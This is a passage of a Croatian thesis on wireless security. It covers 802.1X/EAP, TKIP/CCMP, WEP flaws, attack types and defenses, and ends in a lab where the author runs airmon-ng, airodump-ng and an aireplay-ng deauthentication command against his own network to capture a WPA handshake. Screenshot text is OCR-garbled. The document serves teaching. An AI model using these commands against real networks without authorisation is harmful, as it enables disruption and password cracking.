kao Sto su autentifikacija certifikatima, pametnim karticama i jednokratnim lozinkama. Ovaj
standard omogucuje pristup mrezi temeljen na portovima za mrezne tehnologije kao §to su
Token Ring, FDDI, 802.11 i 802.3 LAN. 802.1X osigurava sigurnost apstrahiranjem tri
osnovna entiteta: klijent (‘'supplicant’), autentifikator (obi¢no mrezni port) i autentifikacijski
posluzitelj. Klijent koristi usluge koje autentifikator nudi preko svojih portova. Autentifikator
moze biti mrezni preklopnik ili pristupna tocka. Klijent se autentificira putem autentifikatora
kod autentifikacijskog posluzitelja, koji tada autentifikatoru nalaze da dozvoli pristup klijentu
u mrezi. Pretpostavlja se da svi autentifikatori komuniciraju s istim centralnim
autentifikacijskim posluziteljem. U praksi, taj posluzitelj moZe biti fizicki rasporeden na vise

lokacija radi rasterecenja, ali se logic¢ki smatra jedinstvenim.

Standard 802.1X koristi EAP (Extensible Authentication Protocol) kao temelj za razne
autentifikacijske mehanizme. EAP je izgraden na paradigmi izazov-odgovor (‘challenge-
response'). lako je EAP prvotno razvijen za koristenje u zi€anim mreZama, kasnije je prilagoden

i za bezi¢ne mreze. Struktura EAP-a moze se prikazati slijede¢om slikom:[10]
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Slika 3.4. Struktura EAP-a

Imamo 4 osnovna tipa poruka u protokolu:
e EAP zahtjev (EAP Request)
e EAP odgovor (EAP Response)
e EAP uspjeh (EAP Success)
e EAP neuspjeh (EAP Failure)

EAP zahtjev je izazov koji supplicant Salje autentifikatoru, dok je EAP odgovor supplicanta na
izazov autentifikatora. Ostale dvije poruke, EAP uspjeh 1 EAP neuspjeh, obavjesStavaju

supplicanta o ishodu autentifikacije.

Kada se EAP koristi u beZi¢noj mreZi, sam EAP paket se enkapsulira unutar EAPoL (EAP over
LAN) paketa. EAPoL paketi omogucuju komunikaciju izmedu supplicanta 1 autentifikatora

preko mreZe.

Postoje tri vrste EAPoL paketa:

e EAPoOL Start: Inicira autentifikacijski proces kod autentifikatora.
e EAPoL Logoff: Salje obavijest autentifikatoru o odjavljivanju korisnika s mreze

e EAPoL Key: Prevozi informaciju o dijeljenom WEP kljucu.
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EAP paket unutar EAPoL paketa prikazan je na sljedecoj slici:

0 8 16 31

EAP zaglavlje
Kod Identifikator Duljina EAP paketa

Zahtjev/odgovor EAP teret

Tip podataka

Slika 3.5. EAPOL paket

EAP je protokol koji omogucuje proSirivost jer moze enkapsulirati razli¢ite metode
autentifikacije unutar EAP zahtjeva/odgovora. On operira na drugom (podatkovnom) sloju OSI
modela. Centralizacija autentifikacije preko RADIUS posluzitelja je preferirano rjesenje jer
omogucuje efikasno upravljanje autentifikacijom svih korisnika, za razliku od pristupa gdje bi
svaki port bio odgovoran za autentifikaciju pojedinog korisnika. Za pristup mrezi, pristupna
tocka mora propustati EAP pakete prema posluZitelju. Autentifikator koristi dualni na¢in rada
portova: nekontrolirane portove koji dopustaju samo EAP promet i kontrolirane portove koji
omogucuju normalan promet nakon uspjeSne autentifikacije. Ovaj model je kompatibilan s
klijentima koji ne podrzavaju 802.1X standard, omogucujuci administratorima da usmjeravaju

njihov promet na nekontrolirane portove kako bi im omogu¢ili pristup mrezi.[10]

3.1.6 CCMP i TKIP protokol

CCMP se smatra boljim 1 trajnim rjeSenjem za zaStitu podataka u beZi¢nim racunalnim
mrezama. Temelji se na AES (Advanced Encryption Standard) algoritmu u CCM (Counter
Mode Encryption with CBC-MAC Data Origin Authenticity) nac¢inu rada. CCM koristi jedan
klju¢ za enkripciju 1 zaStitu integriteta podataka, §to znaci da se paket enkriptira i autentificira
istovremeno. CCM je specijalno dizajniran za 802.111 standard i predviden je za rad isklju¢ivo
s blokovima podataka, bez planova za prilagodbu tokovima podataka. CCM radi s 128-bitnim
blokovima podataka. U CBC-MAC nacinu rada, prvi blok podataka se enkriptira pomoc¢u AES-
a, zatim se provodi operacija ekskluzivno-ili s drugim blokom podataka i ponovo enkriptira, te
se taj proces ponavlja sve do posljednjeg bloka. Rezultat je 64-bitni kod koji se dodaje na kraj

paketa podataka 1 sluZi za zastitu integriteta.
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TKIP je razvijen kao nadogradnja postojeceg WEP-a kako bi se otklonile njegove sigurnosne
slabosti. IEEE je prepoznao sve nedostatke u dizajnu WEP-a i odlucio ih ukloniti uz
zadrzavanje kompatibilnosti s postoje¢com mreznom opremom. Cilj je bio omoguditi
nadogradnju trenutne mrezne opreme putem softverske promjene, bez znacajnog opterecenja
za hardver koji se uglavnom sastoji od ARM?7 ili 1386/486 racunala. TKIP koristi dijelove

sklopovlja koje WEP nije koristio, ¢ime se izbjegava znacajno smanjenje performansi mreze.

TKIP je otklonio probleme WEP-a kroz sljede¢e promjene:

e Inicijalizacijski vektor je povecan s 24 na 48 bita, ¢ime se sprjeCava enkripcija dva
paketa istim vektorom.

e Dinamicka raspodjela kljuceva, mijeSanje kljuceva i1 bolja zastita integriteta paketa. U
TKIP-u je velika paznja posvecena sloZzenom problemu raspodjele kljuceva, za razliku

od WEP-a.
e Izbjegavanje kriptografski slabih kljuceva koji su se pojavljivali u WEP-u.

Proces dobivanja klju¢eva u TKIP-u se sastoji od dvije faze:

e Vremenski klju¢ (‘temporal key') veli¢ine 128 bita mijeSa se s klijentskom MAC
adresom (‘transmitter address’) veli¢ine 48 bita i s najznacajnijih 32 bita
inicijalizacijskog vektora, ¢ime se dobiva privremeni klju¢ veli¢ine 80 bita. Vremenski
klju¢ poznaju i posiljatelj 1 primatelj paketa.

e Privremeni klju¢ dobiven u prvoj fazi ponovo se mijeSa s vremenskim kljuem 1

preostalih 16 bita inicijalizacijskog vektora.[11]
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4. NAPADI NA BEZICNE MREZE

Prije nego $to se upustimo u analizu sigurnosnih propusta u standardu, klju¢no je razmotriti
koliko je napad na bezi¢nu racunalnu mrezu izvodiv u praksi. Prvi korak svakog napada je
pristupiti signalu mreze, $§to omogucéava provodenje aktivnog ili pasivnog napada. Za pasivan
napad napada¢ mora imati opremu koja moze presretati promet izmedu pristupne tocke i
klijenta te mora dobro poznavati fizicki sloj definiran standardom 802.11. Aktivni napad
zahtijeva dodatno opremu koja moze odasiljati podatke na mrezu. Pouzdana oprema za ove

svrhe moze biti znacajno skupa.

Proizvodaci bezi¢ne opreme Cesto zanemaruju napade na podatkovnom sloju, smatrajuci ih
neprakticnima 1 teSko izvedivima. Ovo je pogresno iz dva razloga. Prvo, postoje napadaci koji
imaju dovoljno resursa i vremena da uloZe znacajna sredstva i trud kako bi dobili pristup
podacima. Industrijska Spijunaza je dobar primjer, s obzirom na njezinu profitabilnost. Na
primjer, procurio je dio izvornog koda Windowsa 2000, a nedavno je Cisco prijavio kradu

najnovijeg operativnog sustava za novu generaciju usmjerivaca.

Drugo, oprema potrebna za pracenje i aktivni napad je Siroko dostupna u obliku bezZi¢nih kartica
za stolna ili prijenosna ra¢unala. Prakti¢ni pasivni napadi su izvedeni s takvim karticama putem
modificiranih upravljackih programa. Na primjer, PCMCIA kartica Orinoco tvrtke Lucent
omogucuje izmjenu upravljackih programa (reverznim inZenjerstvom) kako bi se mogao ubaciti
proizvoljan promet u mrezu, ¢cime se moze izvesti aktivan napad. Iako je vrijeme potrebno za
takav zadatak znacajno, to se mora napraviti samo jednom, jer se gotovi upravljacki programi

mogu objaviti na internetu i tako postati dostupni svima.

Dakle, razumno je zakljuciti da dovoljno motiviran napada¢ moze dobiti puni pristup

podatkovnom sloju i provoditi pasivne ili aktivne napade [12].

4.1 Provjera identiteta korisnika

U bezi¢nim mrezama, autentifikacija je klju¢na za osiguravanje pristupa mrezi samo ovlastenim
korisnicima. Dva najc¢es¢a tipa autentifikacije su Open System Authentication (OSA) 1 Shared
Key Authentication (SKA). Ovi sistemi imaju razli¢ite mehanizme provjere identiteta, S$to

utjeCe na sigurnost mreze.
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Open System Authentication (OSA):

'‘Open System Authentication’ je osnovni i najjednostavniji oblik autentifikacije u bezi¢nim
mrezama. U ovom sistemu, korisnik ili uredaj jednostavno Salje zahtjev za autentifikaciju
pristupnoj tocki (AP). AP uvijek prihvaca ovaj zahtjev bez provjere identiteta korisnika. Proces
ukljucuje sljedece korake:

e Zahtjev za autentifikaciju: Klijent Salje zahtjev za autentifikaciju AP-u.

e Odobrenje: AP odgovara s odobrenjem zahtjeva.

Zbog svoje jednostavnosti, OSA je ranjiva na neovlastene pristupe jer ne Kkoristi nikakvu
enkripciju ili provjeru identiteta. To znaci da se bilo koji uredaj unutar dometa AP-a moze
povezati s mrezom, $to predstavlja sigurnosni rizik, posebno u otvorenim ili javnim mrezama

[13].

Shared Key Authentication (SKA):
‘Shared Key Authentication' koristi unaprijed dogovoreni kljué¢ za provjeru identiteta korisnika,
Sto osigurava visi nivo sigurnosti u odnosu na OSA. Proces autentifikacije ukljucuje nekoliko

koraka:

e Zahtjev za autentifikaciju: Klijent Salje zahtjev za autentifikaciju AP-u.

e lzazovni tekst: AP odgovara slanjem izazovnog teksta klijentu.

o Sifrirani izazov: Klijent koristi unaprijed dogovoreni klju¢ za Sifriranje izazovnog teksta
1 Salje ga natrag AP-u.

e Provjera odgovora: AP deSifrira primljeni odgovor i usporeduje ga s originalnim
izazovnim tekstom. Ako se podaci podudaraju, AP odobrava autentifikaciju; ako ne,

pristup se odbija.

SKA pruza vecu sigurnost jer zahtijeva koristenje Sifriranog kljuca, $to oteZava neovlaStenim
korisnicima da pristupe mrezi. Medutim, ovaj sistem takoder ima svoje nedostatke. Ako
napada¢ dobije pristup unaprijed dogovorenom kljucu, moze presretati 1 deSifrirati mrezni
promet. Takoder, proces distribucije i upravljanja klju¢evima moze biti sloZen i podloZan

sigurnosnim rizicima.

Nakon razmatranja sigurnosnih propusta pri provjeri identiteta korisnika te razli¢itih metoda
autentifikacije u bezicnim mrezama, vazno je osvrnuti se na jedan od najopasnijih napada koji
moze ugroziti mreznu sigurnost — "Man in the Middle" (MitM) napad. Ovaj napad omogucava
napadacu da presrece i potencijalno mijenja komunikaciju izmedu dvaju krajnjih uredaja, bez

njihovog znanja [14].
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4.2 Propusti u WEP standardu

U ranim danima bezi¢nih mreza, WEP (Wired Equivalent Privacy) standard bio je prvi
sigurnosni protokol osmiSljen za zastitu bezi¢nih komunikacija. Cilj WEP-a bio je pruziti
sigurnost na razini ziCane mreze, omogucavajuéi korisnicima prijenos podataka bez straha od
presretanja ili manipulacije. Medutim, ubrzo je postalo jasno da WEP ima znacajne sigurnosne

propuste koji ga €ine ranjivim na razli¢ite napade.

Jedan od glavnih problema WEP-a je koristenje statickih enkripcijskih klju¢eva. Kljuéevi se
rijetko mijenjaju, Sto napadacima olakSava njihovo presretanje i analizu. Dodatno, WEP koristi
RC4 algoritam za enkripciju, koji se pokazao slabim zbog svoje predvidljivosti. Zbog ovih

nedostataka, napadaci mogu koristiti alate za analizu prometa i brzo desifrirati WEP kljuceve.

Jos§ jedan ozbiljan problem je inicijalizacijski vektor (IV) koji WEP koristi za Sifriranje. IV je
prekratak, samo 24 bita, Sto znaci da se ponavlja relativno ¢esto. To ponavljanje omogucava
napadac¢ima prikupljanje dovoljno podataka za izvodenje statistiCkih napada, koji im

omogucuju rekonstruiranje enkripcijskih kljuceva.

Zbog ovih nedostataka, WEP je vrlo ranjiv na razli¢ite vrste napada, kao §to su korelacija
kljuteva i napadi s ponavljanjem. Cak i uz minimalno tehni¢ko znanje, napada¢i mogu koristiti

dostupne alate za brzo kompromitiranje WEP zasti¢enih mreza.

Osim tehnickih nedostataka, WEP pati 1 od slabih upravljackih mehanizama. Kljucevi se ¢esto
dijele medu velikim brojem korisnika, Sto povecava vjerojatnost njihovog otkrivanja ili
zloupotrebe. Takoder, mnogi korisnici nisu svjesni sigurnosnih prijetnji i ne mijenjaju zadane

postavke, Sto dodatno povecava ranjivost mreza zaSticenih WEP-om.

Zbog ovih ozbiljnih sigurnosnih propusta, WEP je zamijenjen naprednijim protokolima kao §to
su WPA (Wi-Fi Protected Access) i WPA2, koji pruzaju mnogo bolju zastitu. WPA i WPA2
koriste dinamicke kljuceve i naprednije enkripcijske algoritme, ¢ime se znacajno smanjuje rizik

od presretanja i deSifriranja podataka.

Iako se WEP jos uvijek moze pronaci u nekim starijim sustavima, njegovo koriStenje se snazno
ne preporucuje. Organizacije 1 pojedinci trebaju nadograditi svoje mreZze na modernije
sigurnosne protokole kako bi zastitili svoje podatke od napadaca.

Razumijevanje propusta u WEP standardu je vazno kako bi se izbjegle slicne greske u budu¢im

sigurnosnim protokolima i kako bi se podigla svijest o vaznosti sigurnosti u bezi¢énim mrezama.
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WEP je dobar primjer kako se sigurnosne tehnologije razvijaju i kako je potrebno kontinuirano

unapredivati sigurnosne mjere kako bi se zastitili podaci u digitalnom dobu [15].

4.3 WEP Napadi

WEP (Wired Equivalent Privacy) protokol, usmjeren na zastitu bezicnih mreza, ima ozbiljne
sigurnosne slabosti koje omogucavaju razlicite vrste napada. Ti napadi mogu biti klasificirani
kao pasivni ili aktivni, svaki sa svojim specificnim tehnikama i ciljevima. Ovdje su detaljni

opisi pasivnih i aktivnih napada na WEP.

4.3.1 Pasivni napadi

Pasivni napadi ukljucuju presretanje i analiziranje mreznog prometa bez aktivnog sudjelovanja
ili mijenjanja podataka od strane napadaca. Cilj pasivnih napada je prikupljanje informacija
koje mogu pomoc¢i u kasnijem izvodenju aktivnih napada ili desifriranju komunikacije. Neki od

najpoznatijih pasivnih napada na WEP su:

1.Presretanje prometa (‘Traffic Sniffing"):
e Napada¢ koristi bezi¢ni adapter u promiskuitetnom nacinu rada kako bi presreo sve
pakete koji prolaze kroz mrezu.
e Analizom snimljenih paketa napada¢ moze prikupiti dovoljno podataka za kasniju

analizu i eventualno deSifriranje komunikacije.

2.Prikupljanje inicijalizacijskih vektora (+1V Collection+):
e Napadac prikuplja pakete kako bi analizirao inicijalizacijske vektore (IV-ove).
e Zbog kratke duzine IV-a (24 bita), oni se ¢esto ponavljaju, §to omogucava napadacu da

prikupi dovoljno IV-ova za izvodenje statistickih analiza.

3.Koristenje statisticke analize (‘Statistical Analysis'):
e Nakon prikupljanja velikog broja IV-ova, napada¢ koristi statisticke metode za
rekonstruiranje enkripcijskog kljuca.
e KoriStenjem alata kao Sto su Aircrack-ng, napadac¢ moze brzo deSifrirati WEP kljuc
nakon prikupljanja dovoljno podataka.
Pasivni napadi su teSki za otkrivanje jer napada¢ ne mijenja ili Salje pakete, ve¢ samo

prisluskuje mrezni promet [16].
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4.3.2 Aktivni napadi

Aktivni napadi ukljucuju aktivno sudjelovanje napadaca u mreznoj komunikaciji s ciljem

izmjene, ometanja ili preuzimanja kontrole nad komunikacijom. Ovi napadi su opasniji jer

omogucuju napadacu da izvrsi direktne akcije na mrezi. Neki od najpoznatijih aktivnih napada

na WEP su:

1. Napad s ponavljanjem (‘Replay Attack’):

N

w

&

o1

Napadac presrece legitimni paket podataka, mijenja ga i ponovno Salje pristupnoj tocki.
Ovaj napad koristi ranjivosti u WEP-ovoj enkripciji kako bi stvorio lazne pakete koji
izgledaju legitimno.

. Napad deautentifikacijom (‘Deauthentication Attack’):

Napadac salje deautentifikacijske okvire pristupnoj tocki ili klijentu, prisiljavajuci ih na
prekid veze.
Kada se klijent ponovno poveze, napada¢ moze presresti inicijalizacijske vektore i

podatke potrebne za analizu i desifriranje kljuceva.[17]

Napad s injektiranjem paketa ('Packet Injection Attack’):

Napadac Salje lazne pakete podataka u mrezu kako bi ometao normalan rad mreze ili
ubacio zlonamjerni kod.

Ovaj napad koristi slabosti u WEP-u koje omoguc¢uju napadacu da Salje pakete koji
izgledaju kao legitimni.[17]

Napad laznim pristupnim to¢kama ('Evil Twin Attack’):

Napadac stvara laznu pristupnu tocku koja izgleda kao legitimna mreza.

Korisnici se nesvjesno povezuju na laznu mrezu, omogucéujuéi napadacu da presrece sav
njihov promet i potencijalno krade osjetljive informacije poput lozinki i osobnih
podataka.

Napad fragmentacijom (‘'Fragmentation Attack’):

Napadac Salje male, fragmentirane pakete podataka i presrece odgovore koje pristupna
tocka Salje.
Koristenjem fragmentiranih paketa, napada¢ moze rekonstruirati cijele pakete podataka

i desifrirati WEP klju¢ [17].
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6. Man in the Middle' napad:

"Man in the Middle" napad je vrsta kibernetickog napada gdje napada¢ tajno presrece i
potencijalno mijenja komunikaciju izmedu dviju strana koje vjeruju da izravno komuniciraju
jedna s drugom. U kontekstu bezi¢nih mreza, napada¢ moze koristiti razliite tehnike kako bi

se pozicionirao izmedu pristupne tocke i korisnika.

Napad obi¢no zapocinje presretanjem signala izmedu korisnika i pristupne tocke. Napadac
moze koristiti laznu pristupnu tocku koja se ponasa kao legitimna, privlace¢i korisnike da se na
nju povezu. Kada se korisnik poveze, sav promet prolazi kroz napadacev uredaj, omogucujuci

mu da prati, snima ili mijenja podatke.

Napada¢ moze koristiti MitM napad za kradu osjetljivih informacija poput lozinki, brojeva
kreditnih kartica i drugih osobnih podataka. Takoder moze injektirati zlonamjerni kod u
preuzimanja ili web stranice koje korisnik posjecuje, dodatno kompromitirajuc¢i sigurnost

uredaja.

MitM napadi se Cesto koriste u kombinaciji s drugim vrstama napada, kao $to su phishing ili
DNS spoofing, kako bi se povecala njihova uéinkovitost. Da bi se zastitili od MitM napada,
korisnici bi trebali koristiti enkripciju (kao §to je HTTPS) i visefaktorsku autentifikaciju.
Takoder, vazno je biti oprezan pri povezivanju na javne bezi¢ne mreze i koristiti VPN za

dodatnu sigurnost.

MitM napadi predstavljaju ozbiljnu prijetnju mreznoj sigurnosti, posebno u bezi¢nim
okruZenjima gdje je lako presresti komunikaciju. Svjesnost o postojanju ovakvih napada i
poduzimanje preventivnih mjera kljuéni su za zastitu osjetljivih informacija i odrzavanje

sigurnosti mreze [18].
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Slika 4.1. Man in the Middle Napad [28]

4.4 Zastita mreZe

Zastita bezi¢nih mreza postala je klju¢no pitanje u svijetu umrezenih tehnologija zbog sve vece
ucestalosti napada na mreze. S obzirom na ranjivosti starijih protokola poput WEP-a,
neophodno je koristiti naprednije sigurnosne mjere kako bi se osigurala pouzdanost i sigurnost
podataka. WPA3, najnoviji sigurnosni standard, nudi zna¢ajna poboljSanja u odnosu na svoje
prethodnike, ukljucujuéi ja¢u enkripciju i bolju zaStitu od brute-force napada. Takoder,
implementacija dodatnih sigurnosnih mjera kao S§to su sloZene lozinke, redovito aZuriranje
softvera 1 koriStenje VPN-a moZe znacajno smanjiti rizik od neovlastenog pristupa.
Osiguravanje bezi¢nih mreza klju¢ je za zastitu osobnih i poslovnih podataka u danasnjem

digitalnom okruzenju.

4.4.1 Staticko IP adresiranje

Staticko IP adresiranje ukljucuje ru¢no dodjeljivanje stalne IP adrese svakom uredaju u mrezi,
Sto olakSava upravljanje mreznim resursima. Ovaj nacin adresiranja omoguc¢ava pouzdaniju
komunikaciju izmedu uredaja, jer IP adrese ostaju nepromijenjene. U smislu sigurnosti, staticke
P adrese mogu pojednostaviti pracenje 1 kontrolu mreZznog prometa, $to olakSava identifikaciju
i rjeSavanje sigurnosnih prijetnji. Medutim, stalne IP adrese takoder mogu biti meta napada, jer

napada¢i mogu lakSe pratiti 1 ciljati specificne uredaje. Za dodatnu zastitu, staticko IP
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adresiranje treba kombinirati s drugim sigurnosnim mjerama poput vatrozida i enkripcije
podataka [19]

4.4.2 MAC filtriranje

MAC filtriranje ukljucuje kontrolu pristupa mrezi na temelju jedinstvenih MAC adresa uredaja.
Ova metoda omoguc¢ava administratorima da definiraju popis dopustenih uredaja, ¢ime se
sprjecava povezivanje neovlastenih uredaja. MAC filtriranje pomaze u povecanju sigurnosti
mreze, jer samo uredaji s prepoznatim MAC adresama mogu pristupiti mreznim resursima.
Medutim, ova metoda nije nepogresiva, jer napadaci mogu lazirati (spoofati) MAC adrese
ovlastenih uredaja kako bi zaobisli filtriranje. Unato¢ tome, kada se MAC filtriranje koristi
zajedno s drugim sigurnosnim mjerama, poput WPA3 enkripcije i jakih lozinki, moze znacajno
otezati neovlasteni pristup. Osim toga, MAC filtriranje moZe pomo¢i u prac¢enju i upravljanju
mreznim prometom, olakSavaju¢i identifikaciju sumnjivih aktivnosti. Sveukupno, MAC

filtriranje pruza dodatni sloj zastite, ali se ne bi trebalo koristiti kao jedina sigurnosna mjera

[20].

4.4.3 VVatrozid

Vatrozid, ili firewall, predstavlja kljucni element u zastiti mreza od neovlastenih pristupa i
cyber napada. Vatrozid djeluje kao barijera izmedu sigurne interne mreZe 1 nesigurne vanjske
mreze, filtriraju¢i promet na temelju unaprijed definiranih sigurnosnih pravila. Ova tehnologija
moze biti implementirana u obliku hardvera, softvera ili kombinacije oba, pruzajuci viSeslojnu

zastitu.

Prvi korak u funkciji vatrozida je kontrola pristupa, koja ukljucuje pracenje ulaznog i izlaznog
prometa. Vatrozid koristi pravila koja definiraju koji promet je dopusten, a koji je blokiran. Ova
pravila mogu biti postavljena na temelju IP adresa, brojeva portova, protokola i drugih kriterija.
Na primjer, vatrozid moze blokirati sav promet koji dolazi s odredenih IP adresa za koje je

poznato da su izvori napada ili sumnjivih aktivnosti.

Osim kontrole pristupa, vatrozid moZe analizirati sadrZzaj mreZznog prometa kako bi otkrio 1
sprijeio prijetnje. Napredni vatrozidi, poznati kao vatrozidi nove generacije (NGFW),
integriraju tehnologije poput dubinske inspekcije paketa (DPI), prevencije upada (IPS) i
antivirusne zaStite. DPI omogucava vatrozidu da analizira sadrzaj paketa podataka u stvarnom

vremenu, prepoznajuci zlonamjerne aktivnosti poput pokusaja upada ili Sirenja malvera.
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Vazno je napomenuti da vatrozid ne §titi samo od vanjskih prijetnji, ve¢ takoder moze sprijeciti
interno curenje podataka. Interni vatrozidi mogu ograniciti pristup odredenim resursima unutar
mreze na temelju uloga i privilegija korisnika. Ovo je posebno korisno u velikim

organizacijama gdje razliciti odjeli trebaju razlicite razine pristupa podacima i aplikacijama.

Implementacija vatrozida znacajno poboljSava sigurnost mreze, no vazno je napomenuti da
sama tehnologija nije dovoljna. Vatrozid se mora redovito azurirati kako bi bio uc¢inkovit protiv
novih prijetnji. Pravila i politike vatrozida trebaju se revidirati i prilagodavati kako bi

odgovarale promjenjivim sigurnosnim zahtjevima organizacije [21].
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Slika 4.2. Implementacija vatrozida [29]

Jedna od klju¢nih prednosti vatrozida je moguénost prac¢enja i evidentiranja mreZnog prometa.
Ove evidencije mogu biti neprocjenjive za timove za sigurnost informacijskih sustava prilikom
istrazivanja incidenata i analiziranja sigurnosnih prijetnji. Takoder, mogu posluZiti kao dokazni

materijal u slucaju pravnih postupaka povezanih s cyber incidentima.

Medutim, unato¢ brojnim prednostima, vatrozid ima i svoja ogranicenja. Primjerice, vatrozid
ne moze zastititi mreZzu od napada koji se odvijaju putem enkriptiranih kanala, ako nije
konfiguriran za deSifriranje 1 analizu tih podataka. Takoder, ne moze sprijeciti napade iznutra

ako korisnici imaju valjane ovlasti za pristup mreznim resursima.
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Zakljucno, vatrozid predstavlja osnovnu komponentu mrezne sigurnosti koja znacajno
doprinosi zastiti od neovlasStenih pristupa i cyber napada. Njegova u¢inkovitost ovisi o pravilnoj
implementaciji, redovitom azuriranju i integraciji s drugim sigurnosnim tehnologijama. U
kombinaciji s dobrim praksama upravljanja mrezom, vatrozid moze pruziti snaznu zastitu i

osigurati integritet, povjerljivost i dostupnost mreznih resursa [22].
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7. SIMULACIJA NAPADA NA BEZICNE MREZE

5.1 Sniffing i deautentifikacijski napad (probijanje WEP zastite)

Bezicne mreZe su postale osnovna komponenta modernih informacijskih sustava, omogucujuci
korisnicima povezivanje na internet bez potrebe za fizickim kablovima. Medutim, kao i kod
svih tehnologija, bezicne mreze su ranjive na razlicite vrste napada. Jedan od najucinkovitijih
napada je sniffing, odnosno presretanje podataka koji se prenose kroz mrezu, dok

deautentifikacijski napad prisiljava korisnike da se iskljuce s mreze.

Kali Linux, kao vode¢i operacijski sustav za penetracijsko testiranje, nudi niz alata za izvodenje
ovakvih napada. Neki od tih alata su ,,airmon-ng®, ,,airodump-ng®, ,aireplay-ng“ i ,,aircrack-
ng“. Ovi alati omogucéuju korisnicima da identificiraju mreze, presretnu pakete i eventualno
probiju mreznu enkripciju. Ovaj rad se fokusira na demonstraciju kako se koristi ,,sniffing® 1

deautentifikacijski napad na bezi¢nu mrezu.

Napomena: Ovaj napad, zajedno s opisanim tehnikama i alatima, isklju¢ivo je namijenjen za
edukativne i znanstvene svrhe, kao i za penetracijsko testiranje na mrezama za koje imate
izri¢itu dozvolu vlasnika. Neovlasteno presretanje podataka ili napadi na bezi¢ne mreze
predstavljaju ozbiljno kr$enje zakona i mogu rezultirati pravnim sankcijama. Svi alati i metode
opisani u ovom radu trebaju se koristiti odgovorno, u okviru zakonskih propisa, te u svrhu

poboljSanja mrezne sigurnosti, a ne u svrhu nanoSenja Stete.

1. Postavke bezi¢ne mreze

Kako bismo uspjesno provodili penetracijsko testiranje bezi¢nih mreza, prvo koristimo naredbu
'iwconfig' kako bismo pregledali i konfigurirali beZzi¢ne mrezne sucelja. Ova naredba
omogucuje korisniku provjeru postavki bezicnih mreznih adaptera, kao Sto su ESSID (naziv
mreze), frekvencija, nacin rada, snaga signala i druge relevantne informacije o bezi¢nim
suceljima. 'iwconfig' je sli¢na naredbi ‘ifconfig’, ali specijalizirana za rad s bezi¢nim mreznim

karticama.
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root@kali: ~

—

File Actions Edit View Help

no wi ensions.

ensions.

Slika 7.1. Stanje beZicne mrezZe

Nasa bezi¢na mreza nalazi se 'managed’ modu a da bi mogli presretati promet i raditi razna
testiranja nasu mrezu moramo prebaciti u 'monitor' mode .

To radimo naredbom 'airmon-ng start wlan0'

root@kali: ~

Found 2
Kill
the c
and so

PID

Chipset
1) [Ralink R
an@man )

moniter mod

Slika 7.2. wlan0 mreZa prebacena u 'monitor' mod
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1. Skeniranje mreza koriste¢i 'airodump-ng' naredbu

Kada je mrezni adapter u monitor modu, koristimo airodump-ng za skeniranje dostupnih mreza.
Ova naredba omogucuje pregled svih dostupnih bezi¢nih mreza i prikazuje relevantne
informacije kao Sto su SSID (naziv mreze), BSSID (MAC adresa pristupne tocke), signal,
koristena enkripcija itd.

Naredba glasi ‘airodump-ng wlanOmon'.

wlan@mon

Slika 7.3. Prikaz dostupnih mreZa i stanica spojenih na mreZu
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A

16:04 "

< Wi-Fi LEKO

Zaboravi ovu mrezu

Auto spajanje o

Lozinka ssssssnse

Mod niske upcrabe podataka

Mod niske uporabe podataka pomaze u smanjenju
uporabe mobilnih podataka na iPhoneu putem
mobilne mreZe ili odredenih Wi-Fi mreZa koje
odaberete. Kad je ukljuéen mod niske uporabe
podataka, pauziraju se automatska azuriranja i
pozadinske zadace poput sinkroniziranja fotografija.

Privatna Wi-Fi adresa O

Wi-Fi adresa BA:3B:4C:EH:63:F3

Uporabom privatne adrese pomaze se u smanjenju
pracenja vadeg iPhanea na raznim Wi-Fi mrezama.

Ogranici pracenje |P adrese o

Ogranicite pracenje IP adrese skrivanjem svoje IP
adrese od poznatih alata za pracenje u aplikacijama
Mail | Safari.

IPV4 ADRESA

Podesi IP Automatski

Slika 7.4. MAC adresa uredaja na kojeg se vrsi napad

Pomocu ove naredbe na slici vidimo dvije mreze koje su dostupne a jedna od njih je i moja
kuéna mreZa na koju sam spojen a to je mreza sa ,,04:D3:B5:59:B1:F8“ MAC adresom . Donja
lista je lista uredaja koji su spojeni na mreZu ,,LEKO* .

Uredaj koji ¢u ja u ovom slucaju pratiti je 1 na kojeg ¢u raditi napad je moj mobitel sa MAC

adresom ,,BA:3B:4C:E5:63:F3“.

3. Presretanje paketa

Nakon $to je ciljna mreza odabrana, koristimo ‘airodump-ng' kako bismo presretali pakete koji

se Salju unutar mreze.
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1:F8 wlan@mon

1[ Elapsed: 2 mins ][

PWR

STATION

Slika 7.5. Presretanje paketa

- C— oznacava broj kanala na kojem se naSa mreZa nalazi ,mozemo vidjeti iz slike na
mjestu ,,CH* je broj 1.

- w- stvaranje tekstualne datoteke u koju ¢e se spremati paketi ( ja sam tu datoteku nazvao
'HvatanjeMob")

- d- izdvajanje samo jedne odredene mreze

Program ¢e sam stvoriti datoteku 'HvatanjeMob-03.cap' i u nju spremati pakete koje ¢emo

kasnije gledati preko 'Wireshark' programa .

4. Deautentifikacija korisnika pomocu aireplay-ng:

Deautentifikacijski napad ima za cilj prisiliti korisnike da se odjave s mreze, kako bi se ponovno
povezali. Ovaj proces moze pomoc¢i u generiranju ‘handshake-a' (rukovanja) koji se moze

kasnije koristiti za probijanje WPA/WPA2 lozinke.

Naredba za deautentifikaciju : 'sudo aireplay-ng --deauth 0 -a [BSSID_mreze] wlanOmon'
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root@kali: ~

File Actions Edit View Help

DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth

o) ] ref] ] o) o ] o) rel] o) ) o] o] o] ] ) ool o] o] ) o) o] o] o] ) oo o] fol] ) o) o] o] ] ) o] o

d
d
d
d
d
d
d
d
d
d
i}
i}
i}
i}
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d
d

DeAuth (cod . & [ ACKs]

Slika 7.6. Deautentifikacijski napad

-aireplay-ng — naredba za aktivaciju napada
--deauth — znak da se radi o deautentifikaciji
-a- oznacava mrezu nasu na koju smo spojeni

-C — oznacava klijenta kojeg napadamo (u ovom slu¢aju moj mobilni uredaj)
Proces hvatanja podataka je zavrSen .Sljede¢i korak je naredbom ' —Is 'ako Zelimo provjeriti

koje datoteke su nam se stvorile i preko 'wiresharka' otvoriti ciljanu datoteku . (U mom slucaju

datoteka koja se stvorila i koja nam je potrebna je HvatanjeMob-03.cap).
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HvatanjeMob

Slika 7.7. Direktorij stvaranja datoteka

Nakon toga nam se otvara 'Wirehark' gdje vidimo pakete koji su uhvaceni. Za filter unutar
koristimo EAPOL datoteke. EAPOL datoteke su potrebne kako bi se uhvatio tzv. '4-way
